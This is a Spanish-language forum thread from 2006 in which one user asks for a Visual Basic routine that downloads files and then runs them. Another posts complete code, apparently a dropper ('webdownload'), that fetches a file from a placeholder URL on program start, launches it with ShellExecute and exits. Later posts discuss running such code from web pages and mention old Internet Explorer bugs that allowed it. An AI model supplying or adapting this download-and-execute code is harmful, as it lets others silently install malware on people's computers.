|
Título: Downloader!!!! Publicado por: digitalice en 11 Febrero 2006, 14:21 pm Hola, quisiera saber si alguien tiene algun ejemplo de una funcion en VB para bajar archivos de internet y luego ejecutarlos cuando se termine la descarga..... :D
salu2 Título: Re: Downloader!!!! Publicado por: Kizar en 11 Febrero 2006, 14:45 pm Citar Option Explicit Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long Private Declare Function ShellExecuteA Lib "SHELL32.DLL" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long Private Sub Form_Load() On Error Resume Next If DownloadFile Then ShellExecuteA Me.hWnd, "Open", "C:\...", vbNullString, vbNullString, 1 DoEvents End End If End Sub Public Function DownloadFile() As Boolean On Error Resume Next Dim lngRetVal As Long lngRetVal = URLDownloadToFile(0, "http://...", "C:\...", 0, 0) If lngRetVal = 0 Then DownloadFile = True End Function Es de un webdownload k ice ace muxo tempo. Salu2 Título: Re: Downloader!!!! Publicado por: satanico88 en 14 Marzo 2006, 14:04 pm muy weno..! :D
estaria copado q se pueda usar ese code en HTML , ASP o PHP :rolleyes: Título: Re: Downloader!!!! Publicado por: Kizar en 14 Marzo 2006, 15:25 pm Hace no muxo si que se podia, por un bug (o varios) k tenia IE por eso en cuanto navegabas un par de horas por paginas de serials los popups no te dejaban parar....
|